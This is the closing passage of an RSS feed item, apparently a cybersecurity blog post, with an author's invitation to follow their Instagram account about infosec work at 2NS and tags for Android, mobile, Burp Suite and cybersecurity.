&lt;p&gt;Follow me on Instagram &lt;a href="https://www.instagram.com/whatminjahacks/" rel="noopener noreferrer"&gt;@whatminjahacks&lt;/a&gt; for a behind-the-scenes look at my work as an Information Security Specialist at &lt;a href="https://www.2ns.fi/en/" rel="noopener noreferrer"&gt;2NS&lt;/a&gt;, and to learn more cybersecurity tips and insights!&lt;/p&gt;

</description>
      <category>android</category>
      <category>mobile</category>
      <category>burpsuite</category>
      <category>cybersecurity</category>
    </item>
  </channel>
</rss>
